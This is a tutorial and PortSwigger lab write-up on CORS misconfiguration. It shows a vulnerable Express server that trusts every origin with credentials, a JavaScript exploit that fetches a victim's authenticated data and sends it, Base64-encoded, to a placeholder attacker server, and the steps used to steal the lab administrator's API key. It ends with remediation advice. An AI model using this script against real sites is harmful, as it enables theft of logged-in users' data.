Exploiting CORS (Cross-Origin Resource Sharing)
Before we discuss CORS and how to exploit it, we need to understand what the Same Origin Policy is!
The Same-Origin Policy (SOP) is a security feature implemented by web browsers that restricts how documents or scripts loaded from one origin can interact with resources from another origin. This policy helps prevent malicious attacks, such as cross-site scripting (XSS) or cross-site request forgery (CSRF), by ensuring that sensitive data from one site cannot be accessed by another site, without permission. The origin is defined as the protocol, port (if specified), and host. The Same-Origin policy applies whenever two URLs differ in at least one of these three properties.
What is CORS?
CORS (Cross-Origin Resource Sharing) is a W3C standard to define exceptions in the Same-Origin policy. This enables an origin to define a list of trusted origins and HTTP methods to allow across origins. CORS helps balance security with flexibility, allowing cross-origin requests to happen under controlled and secure circumstances. Servers use CORS headers to specify which origins and methods are allowed, as well as which headers and credentials can be included in the request.
Example Scenario:
Let’s say you have a frontend application and a backend API that are hosted on different domains. The frontend needs to make requests to the backend, but the backend server should ensure that only authorized or trusted origins can access its resources. CORS headers help control this access.
- Frontend: A single-page application (SPA) hosted on
https://frontend.example.com
- Backend API: A REST API hosted on
https://api.example.com
CORS Flow:
- Origin: An origin is defined by the scheme (protocol), host (domain), and port. For example,
https://example.com
andhttp://example.com
are considered different origins because of the different protocols (https
vshttp
), even though they have the same domain. - Cross-Origin Request: When a web page hosted on one origin (e.g.,
https://siteA.com
) makes a request (like an API call) to a different origin (e.g.,https://api.siteB.com
), this is a cross-origin request.
Key CORS Headers:
- Access-Control-Allow-Origin: Specifies which origins are permitted to access the resource. For example:
Access-Control-Allow-Origin: https://example.com
allows requests fromexample.com
.Access-Control-Allow-Origin: *
allows any origin to access the resource (not recommended for sensitive data).
- Access-Control-Allow-Methods: Lists the HTTP methods (e.g.,
GET
,POST
,PUT
, etc.) that are allowed for cross-origin requests. - Access-Control-Allow-Headers: Specifies which HTTP headers can be used when making the actual request.
- Access-Control-Allow-Credentials: Indicates whether the browser should include credentials (like cookies or HTTP authentication) with cross-origin requests. If set to
true
, the browser will send cookies and other credentials with the request.
CORS Misconfiguration Example (Written in NodeJS):
Here is an example of a very simple CORS misconfiguration. A quick summary of this code is: it creates a server that allows cross-origin requests from any origin with specific headers and credentials.
const express = require('express'); const cors = require('cors'); const app = express(); const corsOptions = { origin: function (origin, callback) { callback(null, true); }, credentials: true, methods: ['GET', 'POST'], allowedHeaders: ['Content-Type', 'Authorization'], }; app.use(cors(corsOptions)); app.get('/data', (req, res) => { res.json({ message: 'This data is accessible from all origins' }); }); app.listen(3000, () => { console.log('Thing running on http://localhost:3000'); });
The issue with this particular code is this snippet:
origin: function (origin, callback) { callback(null, true); }, credentials: true,
- When you call callback (null, true), it means that the server will accept requests from any domain.
- When you use credentials: true, the browser will only send cookies or authentication data with requests if the Access-Control-Allow-Origin header is explicitly set to a trusted origin.
Exploitation Code:
This is a simple, but affective, CORS exploit script in JavaScript.
<script> var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://<target>', true); xhr.withCredentials = true; xhr.onload = () => { location = 'https://<hacker address>:1337/log?data=' + btoa(xhr.response); }; xhr.send(); </script>
Let’s breakdown what the code does.
var xhr = new XMLHttpRequest();
This line creates a new instance of the XMLHttpRequest
object. This object allows the script to send HTTP requests and handle responses, often used for AJAX (Asynchronous JavaScript and XML) operations in the browser.
xhr.open('GET', 'https://<target>', true);
This line initializes a GET request to the URL https://<target>
, where <target>
is meant to represent a target URL.
'GET'
: This specifies the HTTP method, in this case,GET
, which is commonly used to retrieve data from a server.'https://<target>'
: This is the URL the script is attempting to send the request to (this could be a URL to another website or API from which the attacker wants to steal information).true
: This third argument specifies that the request is asynchronous (the script will continue executing without waiting for the server’s response).
xhr.withCredentials = true;
This line indicates that the request should include credentials like cookies, HTTP authentication, or client-side SSL certificates when making the request.
- Setting this to
true
is especially important if the target server requires the user to be logged in, and the request needs to include cookie sessions for authentication.
Inside the callback function xhr.onload
This line assigns a callback function to the onload
event of the XMLHttpRequest
object. The onload
event triggers when the request is completed successfully and the response has been fully loaded.
location = 'https://<hacker address>:1337/log?data=' + btoa(xhr.response);
Thelocation
object is used to change the current URL of the browser. Here, it’s being used to redirect the user to a URL controlled by the attacker (us obviously), passing the Base64-encoded response data as a query parameter (data
). The hacker’s server would then capture this data.https://<hacker address>:1337/log?data=
: This is a URL the attacker controls. The attacker will likely have a server running on their machine athttps://<hacker address>:1337
and will use the/log
endpoint to collect stolen data. Thedata
query parameter contains the Base64-encoded response from the target server.
xhr.send();
This line actually sends the request to the server that was specified in xhr.open()
. Since this is a GET
request, it doesn’t send a body but instead sends the headers (including any cookies, if withCredentials
is true).
PortSwigger Academy Lab:
Let’s take what we have learned and solve the PortSwigger Academy lab CORS vulnerability with basic origin reflection. We will use Burp Suite and the exploit code above to help solve the lab.
Clicking Access the Lab button will redirect us to the lab environment.
Using the credentials provided to us (wiener:peter) we can authenticate into the application and view our API Key.
Sending the Request for the endpoint /accountDetails in Burp Suite we can observe the API key and username is reflected in the Response.
Adding the HTTP Header Origin: with the value evil.com and clicking the send button reveals Access-Control-Allow-Origin: evil.com
and Access-Control-Allow-Credentials: true
are reflected in the Response indicating a CORS Misconfiguration.
Back on PortSwigger we need to select the Exploit Server and in the body we will use the exploit code from above.
The only edits that need to be made are replacing <target> with the target application URL and adding /accountDetails as the endpoint. Last we need to update <hacker> with the exploit server URL that is underneath “Craft a response” (Make sure to not include /exploit in the URL).
Now we can Deliver Exploit to Victim.
Clicking on Access Log reveals the base64 encoded value in the data parameter.
Taking this base64 encoded value and decoding it reveals the administrator API Key.
Submitting the API Key solves the lab.
Congratulations on solving this lab and exploiting CORS!
Remediations:
Always specify the origins you trust and want to allow access to your resources.
- Do not use
*
(wildcard) forAccess-Control-Allow-Origin
in production, as it allows any origin to access your resources, which could pose security risks. Instead, specify a list of allowed origins (e.g.,https://example.com
). - Set
Access-Control-Allow-Credentials
totrue
only when absolutely necessary and ensure that yourAccess-Control-Allow-Origin
is not a wildcard (<code”>*)
This concludes the write up on CORS exploitation. I hope you found value in this content.
References:
https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
https://developer.mozilla.org/en-US/docs/Web/Security/Practical_implementation_guides/CORS